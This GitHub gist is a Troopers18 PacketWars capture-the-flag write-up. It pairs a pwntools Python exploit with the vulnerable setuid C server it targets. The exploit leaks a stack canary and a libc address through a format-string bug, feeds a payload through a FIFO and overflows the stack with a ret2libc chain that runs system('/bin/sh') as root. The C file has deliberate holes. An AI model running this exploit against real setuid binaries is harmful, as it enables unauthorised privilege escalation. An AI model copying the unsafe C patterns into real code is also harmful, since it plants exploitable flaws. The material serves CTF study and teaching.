Skip to content

Instantly share code, notes, and snippets.

@flabbergastedbd
Created March 16, 2018 22:10
Show Gist options
  • Save flabbergastedbd/6d66cfca96389bd9d36244a81c43ff3b to your computer and use it in GitHub Desktop.
Save flabbergastedbd/6d66cfca96389bd9d36244a81c43ff3b to your computer and use it in GitHub Desktop.
Troopers18 Packetwars Part 2 - Exploiatation
# On a linux box, inside the home of a privileged user were some files.
#
# - run_exploit_server (had setuid bit set, executable by all and was compiled with PIC flag).
# - run_exploit_server.c
# - shellcode.bin with permissions (644).
#
# The task was to escalate privileges somehow using these three things
#
# * The server reads from a relative file i.e ./shellcode.bin and echos it to
# the clients connecting to it.
# * Our team used symlinks to read out files partially by launching the server from
# a different directory and symlinking shellcode.bin to the file we wish to read.
#
# The following exploit was built after the challenge finished.
# * --DEBUG flag enables argv[1] & argv[2] to end up in fprintf.
# * Stack canary and a libc offset on the stack can be leaked.
# * Linux FIFO is greatly useful here to create the content of shellcode.bin
# on the fly based on the leaks.
# * Stack buffer overflow when reading from shellcode.bin can be exploited to
# overwrite rip with ret2libc, thanks to leaked offset.
#
# Final stack layout
# - canary
# - rbp
# - rop gadget (pop rdi; ret)
# - /bin/sh ptr
# - system
#
# How to run??
# - Create a (mk)fifo named shellcode.bin in working directory.
# - Copy the libc of the system being run into working directory as libc.so
# - python <filename>.py
import os
import time
from pwn import *
context(arch="amd64", os="linux", bits=64, endian="little")
PATH = "./shellcode.bin"
libc = ELF("./libc.so")
rop = ROP(libc)
LIBC_START_MAIN = libc.symbols["__libc_start_main"]
LIBC_SYSTEM = libc.symbols["system"]
LIBC_SYSTEM_OFFSET = LIBC_SYSTEM - LIBC_START_MAIN - 234
LIBC_SH_OFFSET = LIBC_SYSTEM - list(libc.search("/bin/sh"))[0]
LIBC_ROP_OFFSET = LIBC_SYSTEM - rop.find_gadget(["pop rdi", "ret"])[0]
def string_to_arg(s):
return(hex(u64(s)))
p = process("./run_exploit_server " + string_to_arg("\n%52$llu") + " " + string_to_arg("\n%54$llu") + " --DEBUG", shell=True, stderr=subprocess.PIPE)
fd = os.open(PATH, os.O_RDWR | os.O_NONBLOCK)
p.proc.stderr.readline() # garbage
canary_leak = int(p.proc.stderr.readline().strip())
libc_leak = int(p.proc.stderr.read(15))
system = libc_leak + LIBC_SYSTEM_OFFSET
rop_gadget = system - LIBC_ROP_OFFSET
sh_address = system - LIBC_SH_OFFSET
print("Canary leak: " + hex(canary_leak))
print("libc leak: " + hex(libc_leak))
print("libc system: " + hex(system))
padding = "B"*(8*12 + 4)
padding += p64(canary_leak)
padding += "C"*8
padding += p64(rop_gadget)
padding += p64(sh_address)
padding += p64(system)
padding += "E"*(300-len(padding))
os.write(fd, padding)
time.sleep(3)
r = remote("127.0.0.1", 21)
r.recv(300)
p.clean()
p.interactive()
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#define PADDING_LEN 96
#define NOP_SLED_LEN 100
int main(int argc, char** argv) {
char buf[300];
int debug = 0;
long ret_adr;
FILE* f;
int listen_fd, comm_fd;
struct sockaddr_in servaddr;
if(argc < 3) {
fprintf(stderr, "Usage: ./run_exploit_server <saved_rbp (hex)> <return address (hex)>\n");
exit(-1);
}
if(argc > 3 && strcmp(argv[3], "--DEBUG") == 0){
debug = 1;
}
// Fill buffer up to the saved RIP
memset(buf, 'A', PADDING_LEN);
// copy saved rbp address from argv[1]:
ret_adr = strtol(argv[1], NULL, 0);
*((long*)(buf+PADDING_LEN)) = ret_adr;
// copy return address from argv[2]:
ret_adr = strtol(argv[2], NULL, 0);
*((long*)(buf+PADDING_LEN+8)) = ret_adr;
// NOP SLED
memset(buf+PADDING_LEN+16, 0x90, NOP_SLED_LEN);
if(debug) {
fprintf(stderr, "Buffer: ");
fprintf(stderr, buf);
}
f = fopen("shellcode.bin", "rb");
if (f) {
fread(buf+PADDING_LEN+16+NOP_SLED_LEN, sizeof(buf), 1, f);
}
else {
fprintf(stderr, "Error when opening from shellcode.bin");
exit(-1);
}
// Run fake ftp server (listen on port 21 and send buffer on each incomming connection
listen_fd = socket(AF_INET, SOCK_STREAM, 0);
bzero( &servaddr, sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = htons(INADDR_ANY);
servaddr.sin_port = htons(21);
bind(listen_fd, (struct sockaddr *) &servaddr, sizeof(servaddr));
listen(listen_fd, 1);
comm_fd = accept(listen_fd, (struct sockaddr*) NULL, NULL);
write(comm_fd, buf, sizeof(buf));
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment